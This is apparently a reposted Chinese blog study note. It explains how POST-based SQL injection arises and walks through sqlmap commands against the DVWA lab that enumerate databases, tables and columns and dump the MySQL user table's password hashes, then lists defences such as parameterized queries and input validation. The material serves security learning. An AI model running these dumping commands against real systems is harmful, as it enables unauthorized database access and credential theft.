iis服务器助手广告广告
返回顶部
首页 > 资讯 > 数据库 >利用sqlmap进行post注入学习笔记
  • 884
分享到

利用sqlmap进行post注入学习笔记

网络安全mysqlweb安全Poweredby金山文档 2023-08-31 11:08:03 884人浏览 独家记忆
摘要

了解sqlmap sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,Mysql,oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,

了解sqlmap

sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MysqloracleSQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。

POST注入形成原因

1.在登录处,用于判断用户名、密码会使用select语句;

2.在修改密码处,更新密码,会使用到update语句;

3.在商城系统中,订单的添加,删除,可能会使用到insert,delete语句;

登录是执行POST请求,与GET请求不同,传给服务器的值不会再URL中出现了,而是在请求体里,当服务器拿到请求体的数据,再执行SQL语句,查询是否存在用户输入的用户名和密码。

传入参数,服务器解析参数之后,完整闭合SQL语句,构造万能密码成功登陆。

POST注入也属于SQL注入,所以究其原因还是由于参数没有过滤导致的。源码如下:

使用sqlmap进行POST注入

进入DVWA,选择Brute Force选项,username和passWord随便输入,然后打开burpsuite,设置好本地代理,进行抓包。

将抓到的包保存为1.txt,并放到c盘根目录下。

打开sqlmap。第一步:列出数据库

sqlmap.py -r c:\1.txt -p username --dbs

-r表示加载一个文件,-p指定参数

第二步:猜表:选择一个数据库进行猜表:

sqlmap.py -r c:\1.txt-p username -D mysql --tables

-D表示数据库;-T表示表;-C表示列

第三步:猜列:

sqlmap.py -r c:\1.txt-p username -D mysql -T user--columns

第四步:得到数据:

sqlmap.py -r c:\1.txt -p username -D mysql -T user -C“User,Password” --dump

此时就得到了root用户的密码哈希值,接下来解密就行。

如何防止POST注入?

权限区分:

普通用户与系统管理员用户的权限要有严格的区分。由于Drop 语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用 SQL 语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。

使用参数化语句:

如果在编写 SQL 语句的时候,用户输入的变量不是直接嵌入到 SQL 语句,而是通过参数来传递这个变量的话,那么就可以有效的防治 SQL 注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到 SQL 语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。采用这种措施,可以杜绝大部分的 SQL 注入式攻击。

对用户的输入进行验证:

通过测试类型、长度、格式和范围来验证用户输入,过滤用户输入的内容。这是防止 SQL 注入式攻击的常见并且行之有效的措施。防治 SQL 注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在 SQLServer 数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL 注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。

多使用数据库自带的安全参数:

为了减少注入式攻击对于 SQLServer 数据库的不良影响,在 SQLServer 数据库专门设计了相对安全的 SQL 参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的 SQL 注入式攻击。如在 SQL Server 数据库中提供了 Parameters 集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了 Parameters 这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。

多层环境防止 SQL 注入:

在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。

设置陷阱账号:

设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。

来源地址:https://blog.csdn.net/weixin_52034407/article/details/129653842

您可能感兴趣的文档:

--结束END--

本文标题: 利用sqlmap进行post注入学习笔记

本文链接: https://www.lsjlt.com/news/385335.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作